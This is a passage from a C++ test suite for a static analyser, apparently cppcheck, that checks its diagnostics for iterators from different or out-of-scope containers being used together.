ASSERT_EQUALS(\"[test.cpp:5:54]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator2() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" while (it != l2.end())\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:35]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" while (l2.end() != it)\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:12]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator3() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it, 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Same iterator is used with different containers 'l1' and 'l2'. [iterators1]\\n\"\n \"[test.cpp:6:5]: (error) Iterator 'it' referring to container 'l1' is used with container 'l2'. [mismatchingContainerIterator]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #5803\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it, l1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\" // #7658\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" std::list::iterator end = l1.end();\\n\"\n \" l2.insert(it, end);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // only warn for insert when there are preciself 2 arguments.\n check(\"void foo() {\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo() {\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it,0,1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void iterator4() {\n check(\"void foo(std::vector &test)\\n\"\n \"{\\n\"\n \" std::set result;\\n\"\n \" for (std::vector::const_iterator cit = test.begin();\\n\"\n \" cit != test.end();\\n\"\n \" ++cit)\\n\"\n \" {\\n\"\n \" result.insert(cit->size());\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator5() {\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find(ints1.begin(), ints2.end(), 22);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:47]: (error) Iterators of different containers 'ints1' and 'ints2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator6() {\n // Ticket #1357\n check(\"void foo(const std::set &ints1)\\n\"\n \"{\\n\"\n \" std::set ints2;\\n\"\n \" std::set::iterator it1 = ints1.begin();\\n\"\n \" std::set::iterator it2 = ints1.end();\\n\"\n \" ints2.insert(it1, it2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::set &ints1)\\n\"\n \"{\\n\"\n \" std::set ints2;\\n\"\n \" std::set::iterator it1 = ints1.begin();\\n\"\n \" std::set::iterator it2 = ints2.end();\\n\"\n \" ints2.insert(it1, it2);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (error) Iterators of different containers are used together.\\n\", \"\", errout_str());\n }\n\n void iterator7() {\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::inplace_merge(ints1.begin(), std::advance(ints1.rbegin(), 5), ints2.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:56]: (error) Iterators of different containers 'ints1' and 'ints2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::inplace_merge(ints1.begin(), std::advance(ints2.rbegin(), 5), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator8() {\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(ints1.begin(), ints2.end(), ints1.begin(), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:56]: (error) Iterators of different containers 'ints1' and 'ints2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(ints1.begin(), ints1.end(), ints2.begin(), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:84]: (error) Iterators of different containers 'ints2' and 'ints1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(foo.bar.begin(), foo.bar.end()-6, ints2.begin(), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:90]: (error) Iterators of different containers 'ints2' and 'ints1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(ints1.begin(), ints1.end(), ints2.begin(), ints2.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6839\n check(\"void f(const std::wstring& a, const std::wstring& b) {\\n\"\n \" const std::string tp1 = std::string(a.begin(), b.end());\\n\"\n \" const std::wstring tp2 = std::string(b.begin(), a.end());\\n\"\n \" const std::u16string tp3(a.begin(), b.end());\\n\"\n \" const std::u32string tp4(b.begin(), a.end());\\n\"\n \" const std::string fp1 = std::string(a.begin(), a.end());\\n\"\n \" const std::string tp2(a.begin(), a.end());\\n\"\n \"}\");\n ASSERT_EQUALS( // TODO \"[test.cpp:2]: (error) Iterators of different containers are used together.\\n\"\n // TODO \"[test.cpp:3]: (error) Iterators of different containers are used together.\\n\"\n \"[test.cpp:4:26]: (error) Iterators of different containers 'tp3' and 'a' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:5:26]: (error) Iterators of different containers 'tp4' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator9() {\n // Ticket #1600\n check(\"void foo(std::vector &r)\\n\"\n \"{\\n\"\n \" std::vector::iterator aI = r.begin();\\n\"\n \" while(aI != r.end())\\n\"\n \" {\\n\"\n \" if (*aI == 0)\\n\"\n \" {\\n\"\n \" r.insert(aI, 42);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" ++aI;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #2481\n check(\"void foo(std::vector &r)\\n\"\n \"{\\n\"\n \" std::vector::iterator aI = r.begin();\\n\"\n \" while(aI != r.end())\\n\"\n \" {\\n\"\n \" if (*aI == 0)\\n\"\n \" {\\n\"\n \" r.insert(aI, 42);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" ++aI;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Execution path checking..\n check(\"void foo(std::vector &r, int c)\\n\"\n \"{\\n\"\n \" std::vector::iterator aI = r.begin();\\n\"\n \" while(aI != r.end())\\n\"\n \" {\\n\"\n \" if (*aI == 0)\\n\"\n \" {\\n\"\n \" r.insert(aI, 42);\\n\"\n \" if (c)\\n\"\n \" {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" ++aI;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:14] (error) After insert(), the iterator 'aI' may be invalid.\", \"\", errout_str());\n }\n\n void iterator10() {\n // Ticket #1679\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::set s1;\\n\"\n \" std::set s2;\\n\"\n \" for (std::set::iterator it = s1.begin(); it != s1.end(); ++it)\\n\"\n \" {\\n\"\n \" if (true) { }\\n\"\n \" if (it != s2.end()) continue;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:39]: (error) Iterators of different containers 's1' and 's2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator11() {\n // Ticket #3433\n check(\"int main() {\\n\"\n \" map myMap;\\n\"\n \" vector myVector;\\n\"\n \" for(vector::iterator x = myVector.begin(); x != myVector.end(); x++)\\n\"\n \" myMap.erase(*x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator12() {\n // Ticket #3201\n check(\"void f() {\\n\"\n \" std::map map1;\\n\"\n \" std::map map2;\\n\"\n \" std::map::const_iterator it = map1.find(123);\\n\"\n \" if (it == map2.end()) { }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:45]: (error) Iterators of different containers 'map1' and 'map2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::map map1;\\n\"\n \" std::map map2;\\n\"\n \" std::map::const_iterator it = map1.find(123);\\n\"\n \" if (map2.end() == it) { }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (error) Iterators of different containers 'map2' and 'map1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f(std::string &s) {\\n\"\n \" int pos = s.find(x);\\n\"\n \" s.erase(pos);\\n\"\n \" s.erase(pos);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator13() {\n check(\"void f() {\\n\"\n \" std::vector a;\\n\"\n \" std::vector t;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" it = a.begin();\\n\"\n \" while (it!=a.end())\\n\"\n \" ++it;\\n\"\n \" it = t.begin();\\n\"\n \" while (it!=a.end())\\n\"\n \" ++it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (error) Iterators of different containers 't' and 'a' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n // #4062\n check(\"void f() {\\n\"\n \" std::vector a;\\n\"\n \" std::vector t;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" it = a.begin();\\n\"\n \" while (it!=a.end())\\n\"\n \" ++it;\\n\"\n \" it = t.begin();\\n\"\n \" while (it!=t.end())\\n\"\n \" ++it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector a;\\n\"\n \" std::vector t;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" if(z)\\n\"\n \" it = a.begin();\\n\"\n \" else\\n\"\n \" it = t.begin();\\n\"\n \" while (z && it!=a.end())\\n\"\n \" ++it;\\n\"\n \" while (!z && it!=t.end())\\n\"\n \" ++it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator14() {\n check(\"void f() {\\n\"\n \" std::map x;\\n\"\n \" std::map::const_iterator it;\\n\"\n \" for (it = x.find(0)->second.begin(); it != x.find(0)->second.end(); ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator15() {\n check(\"void f(C1* x, std::list a) {\\n\"\n \" std::list::iterator pos = a.begin();\\n\"\n \" for(pos = x[0]->plist.begin(); pos != x[0]->plist.end(); ++pos) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator16() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l2.end();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.end();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" while (it2 != it1)\\n\"\n \" {\\n\"\n \" ++it2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:36]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it2 = l2.end();\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::set l1;\\n\"\n \" std::set l2(10, 4);\\n\"\n \" std::set::iterator it1 = l1.begin();\\n\"\n \" std::set::iterator it2 = l2.find(4);\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:35]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator17() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" { it2 = l2.end(); }\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \" it2 = l2.end();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" it1 = l2.end();\\n\"\n \" it1 = l1.end();\\n\"\n \" if (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" { it2 = l2.end(); }\\n\"\n \" it2 = l1.end();\\n\"\n \" { it2 = l2.end(); }\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator18() {\n check(\"void foo(std::list l1, std::list l2)\\n\"\n \"{\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" while (++it1 != --it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::list l1, std::list l2)\\n\"\n \"{\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" while (it1++ != --it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::list l1, std::list l2)\\n\"\n \"{\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" if (--it2 > it1++)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:5:15]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n }\n\n void iterator19() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" if (it1 != l1.end())\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:7:13] -> [test.cpp:4:36]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" if (l1.end() > it1)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:7] -> [test.cpp:4]: (error) Same iterator is used with containers 'l1' that are defined in different scopes.\\n\",\n \"[test.cpp:7:19] -> [test.cpp:7:13]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\"\n \"[test.cpp:7:22]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it2 = l1.begin();\\n\"\n \" if (it1 != it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:8:13] -> [test.cpp:4:36]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it2 = l1.begin();\\n\"\n \" if (it2 != it1)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:8:13] -> [test.cpp:7:40]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"std::set g() {\\n\"\n \" static const std::set s = {1};\\n\"\n \" return s;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" if (g().find(2) == g().end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:6:17] -> [test.cpp:6:10]: (error) Same iterator is used with containers 'g()' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"std::set f() {\\n\" // #5804\n \" std::set s;\\n\"\n \" return s;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" for (std::set::iterator it = f().begin(); it != f().end(); ++it) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:6:53] -> [test.cpp:6:41]: (error) Same iterator is used with containers 'f()' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n }\n\n void iterator20() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" it1 = it2;\\n\"\n \" while (it1 != l1.end())\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:36]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::list l3;\\n\"\n \"std::list::iterator bar()\\n\"\n \"{\\n\"\n \" return l3.end();\\n\"\n \"}\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" it1 = bar();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:13] -> [test.cpp:10] -> [test.cpp:11]: (error) Comparison of iterators from containers 'l1' and 'l2'.\\n\", \"\", errout_str());\n\n }\n\n void iterator21() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.end();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" if (it1 != it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" if (it2 != it1)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:6:36]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.end();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" if (it1 != it2 && it1 != it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\", // duplicate\n errout_str());\n }\n\n void iterator22() { // #7107\n check(\"void foo() {\\n\"\n \" std::list &l = x.l;\\n\"\n \" std::list::iterator it = l.find(123);\\n\"\n \" x.l.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator23() { // #9550\n check(\"struct A {\\n\"\n \" struct B {\\n\"\n \" bool operator==(const A::B& b) const;\\n\"\n \" int x;\\n\"\n \" int y;\\n\"\n \" int z;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"bool A::B::operator==(const A::B& b) const {\\n\"\n \" return std::tie(x, y, z) == std::tie(b.x, b.y, b.z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator24() {\n // #9556\n check(\"void f(int a, int b) {\\n\"\n \" if (&a == &b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if (std::for_each(&a, &b + 1, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Iterators of different containers 'a' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if (std::for_each(&a, &b, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Iterators of different containers 'a' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f(int a) {\\n\"\n \" if (std::for_each(&a, &a, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"void f(int a) {\\n\"\n \" if (std::for_each(&a, &a + 1, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator25() {\n // #9742\n check(\"struct S {\\n\"\n \" std::vector& v;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" bool operator()(const S& lhs, const S& rhs) const {\\n\"\n \" return &lhs.v != &rhs.v;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator26() { // #9176\n check(\n \"#include \\n\"\n \"int main()\\n\"\n \"{\"\n \" std::map m{ {\\\"a\\\", 1} };\\n\"\n \" if (auto iter = m.find(\\\"x\\\"); iter != m.end()) {\\n\"\n \" return iter->second;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator27() {\n // #10378\n check(\"struct A {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"int f(std::map m) {\\n\"\n \" auto it = m.find( 1 );\\n\"\n \" const int a( it == m.cend() ? 0 : it->second.a );\\n\"\n \" const int b( it == m.cend() ? 0 : it->second.b );\\n\"\n \" return a + b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator28()\n {\n // #10450\n check(\"struct S {\\n\"\n \" struct Private {\\n\"\n \" std::list l;\\n\"\n \" };\\n\"\n \" std::unique_ptr p;\\n\"\n \" int foo();\\n\"\n \"};\\n\"\n \"int S::foo() {\\n\"\n \" for(auto iter = p->l.begin(); iter != p->l.end(); ++iter) {\\n\"\n \" if(*iter == 1) {\\n\"\n \" p->l.erase(iter);\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:24]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n }\n\n void iterator29()\n {\n // #11511\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" auto v = g();\\n\"\n \" auto it = g().begin();\\n\"\n \" while (it != g().end())\\n\"\n \" it = v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:14]: (error) Iterator 'it' referring to container 'g()' is used with container 'v'. [mismatchingContainerIterator]\\n\", errout_str());\n\n check(\"std::vector& g(int);\\n\"\n \"void f(int i, int j) {\\n\"\n \" auto& r = g(i);\\n\"\n \" auto it = g(j).begin();\\n\"\n \" while (it != g(j).end())\\n\"\n \" it = r.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:14]: (error) Iterator 'it' referring to container 'g(j)' is used with container 'r'. [mismatchingContainerIterator]\\n\", errout_str());\n\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" auto& r = g();\\n\"\n \" auto it = g().begin();\\n\"\n \" while (it != g().end())\\n\"\n \" it = r.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator30()\n {\n check(\"struct S {\\n\" // #12641\n \" bool b;\\n\"\n \" std::list A, B;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::list::iterator i = (b ? B : A).begin();\\n\"\n \" while (i != (b ? B : A).end()) {\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator31()\n {\n check(\"struct S {\\n\" // #13327\n \" std::string a;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \"};\\n\"\n \"bool f(const S& s) {\\n\"\n \" std::string b;\\n\"\n \" return s.a.c_str() == b.c_str();\\n\"\n \"}\\n\"\n \"bool g(const T& t) {\\n\"\n \" std::string b;\\n\"\n \" return t.s.a.c_str() == b.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:13]: (error) Iterators of different containers 's.a' and 'b' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:13:15]: (error) Iterators of different containers 't.s.a' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iteratorExpression() {\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(f().begin(), g().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:22]: (error) Iterators of different containers 'f()' and 'g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" if(f().begin() == g().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Iterators of different containers 'f()' and 'g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" auto size = f().end() - g().begin();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (error) Iterators of different containers 'f()' and 'g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector& f();\\n\"\n \" std::vector& 